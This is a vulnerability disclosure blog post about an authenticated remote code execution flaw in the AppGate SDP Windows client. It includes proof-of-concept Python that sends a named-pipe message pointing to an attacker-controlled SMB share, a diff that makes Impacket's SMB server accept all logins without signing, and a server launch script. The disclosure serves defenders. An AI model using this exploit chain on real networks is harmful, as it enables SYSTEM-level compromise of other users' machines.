2020-03-06 12:00 | Lasse Trolle Borup

CVE-2019-19793: AppGate SDP, Part 2: Authenticated RCE

This is the second of two posts documenting a vulnerability we reported to Cyxtera (now AppGate) in June last year. The first post covered the Local Privilege Escalation aspect of the issue, and in this post I will describe the Authenticated RCE attack vector of the issue. As I mentioned in my last post, Cyxtera was effective in handling the issue, and remediated it the week after receiving the report.

In the last post I described how a SYSTEM process accepted JSON messages on a named pipe endpoint. An attacker could send the path of an executable which would then be verified as signed by Cyxtera before being executed. Locally, this could be exploited for Privilege Escalation, by replacing the file between verification and execution or by specifying a file that loads a DLL from the current working directory.

Since Windows named pipes also allow communication across the network, the bug also has a remote attack vector. As the named pipe requires the client to be an “Authenticated user”, any user account in the same Active Directory domain can communicate with the pipe. As a remote attacker, we cannot control any files on the local system, but we can specify a path in the JSON message to a remote file under our control. Since the Windows file system APIs accept paths to remote SMB shares, we just need to control an SMB share that the target system can connect to.

Implementing an exploit

I decided to write the PoC based on the very useful Impacket library, as I wanted a solution that would run on a non-windows host and because I anticipated some issues regarding SMB that would be easier to solve if I could modify the implementation.

The first part, sending a JSON message to the named pipe, takes only a few lines of code using Impacket:


from impacket.smbconnection import SMBConnection
from impacket.smb import *
addr = r'10.0.0.1'
username = "someuser"
password = "somepassword"
domain = "somedomain.local"
s = SMBConnection(addr, addr)
s.login(username, password, domain)
tid = s.connectTree('IPC$')
fid = s.openFile(tid,r'\appgate.updater.service',0x12019f, creationOption = 0x40, fileAttributes = 0x80)
message = "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"update\",\"params\":\"\\\\\\\\10.0.0.2\\\\share\\\\note.exe\"}\n"
print(message)
s.writeNamedPipe(tid, fid,message)
s.close()

I initially thought the next part, serving the payload files via SMB, would be equally simple, since Impacket already contains SMB server functionality. It turned out I had to tweak the existing code a bit to make it fit the use case.

As a default configured Windows 10 will no longer connect to SMB v1 shares, the implementation needs to support SMB 2 (or SMB 3, also specified in MS-SMB2). Impacket has us covered on that aspect, and the script smbserver.py contains the code needed to serve files over SMB 2.

The smbserver.py script allows clients to establish a session with two modes of authentication, either as a guest or using credentials already known by the server. Guest authentication would be the simplest solution, but if the target is a Windows 10 system with default configuration, it will not be allowed to authenticate as guest to SMB 2 shares, even though the server allows it. Instead, it will attempt to authenticate using the computer account, since it will be the SYSTEM account initiating the request, and it will use NTLM instead of Kerberos, as our server will not be domain-joined. As regular SMB servers in a Windows domain does not know the password of connecting clients, a server in the domain attempting to verify an NTLM authentification would normally use the Netlogon (MS-NRPC) protocol to contact a Domain Controller and forward the authentication attempt (Pass-Through Authentication). While the smbserver.py script is not intended for this, the Impacket library does contain an implementation of the Netlogon protocol. For our use though, using the Netlogon code to forward authentication would not work, as the Netlogon service on the domain controller only accepts Pass-Through Authentication requests from a session authenticated with computer credentials. We do not want to add the requirement that the attacker has access to a computer account in addition to the already required user account. What can be done instead is to modify smbserver.py to accept all attempts at authentication without verifying them.

This brings on another issue we need to address. Since smbserver.py is aimed at knowing the client’s credentials, it has been implemented to supply the flag SMB2_NEGOTIATE_SIGNING_ENABLED during session negotiation. With the default configuration of a Windows 10 client also specifying the same flag, both parties would normally agree on signing the communication. The signing key in an NTLM authenticated SMB 2 session is derived from the connecting client's password. Since we don’t know the client’s password, and do not have access to a Netlogon session where we can acquire the signing key from the Domain Controller, we have no way of signing these messages. Therefore, we need to change the code in smbserver.py to unset the SMB2_NEGOTIATE_SIGNING_ENABLED flag, and disable the signing of messages. The following diff shows the changes:


diff ../impacket-0.9.20/impacket/smbserver.py smbserver.py
2443c2443
<                         errorCode = STATUS_LOGON_FAILURE
---
>                         errorCode = STATUS_SUCCESS
2641c2641
<         respSMBCommand['SecurityMode'] = 1
---
>         respSMBCommand['SecurityMode'] = 0
2817c2817
<                         connData['SignatureEnabled'] = True
---
>                         connData['SignatureEnabled'] = False
2821c2821
<                     errorCode = STATUS_LOGON_FAILURE
---
>                     errorCode = STATUS_SUCCESS
We can then create a small script to use the modified smbserver.py:

import smbserver
server = smbserver.SimpleSMBServer("0.0.0.0", 445)
server.addShare("SHARE", "/tmp/share", "Comment")
server.addCredential("testuser",0,"","")
server.setSMB2Support(True)
server.start()

After this is done, we now have code to send the trigger message over a named pipe, and code to accept and establish an SMB session on the server hosting the executables. In my last post, I described two options for exploiting the issue, replacing the file after verification but before execution, or relying on DLL hijacking. Attempting to replace the file between first and second access sounds plausible, since we control the code implementing the sending of data from the server. It could be assumed that the two operations, verify and execute, would materialize as two clearly separate file accesses on the network. If this was the case, it should be easy to serve a new file on the second access. But as SMB is implemented as a file system driver on Windows, the resulting network traffic is complex, and requests for segments of a file will sometimes arrive out of order. Furthermore, as other operations on the file can be triggered on the client (e.g. anti-virus trying to scan the file), these operations can be interleaved with the expected operations, making it very difficult for the server to distinguish the context of requests for file data. All in all, substituting the file would be a much more complicated endeavour than it would seem at first glance.

Luckily for the attacker, the DLL hijacking version of the attack sidesteps these issues. All we have to do is use the same signed executable as in our local exploitation, and place the malicious DLL in the same share, thereby eliminating the need for on-the-fly file substitution. So with the code snippets from above, the modified Impacket file and the executable and DLL from the last post, an attacker with access to a single low-privileged account now has the means to compromise every other client running AppGate in the same domain.


Contact us

+45 7221 5100

[email protected]

Vester Farimagsgade 41, 1606 Copenhagen V

Consulting | Training | Blog | About

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 Copenhagen V · CVR 38871064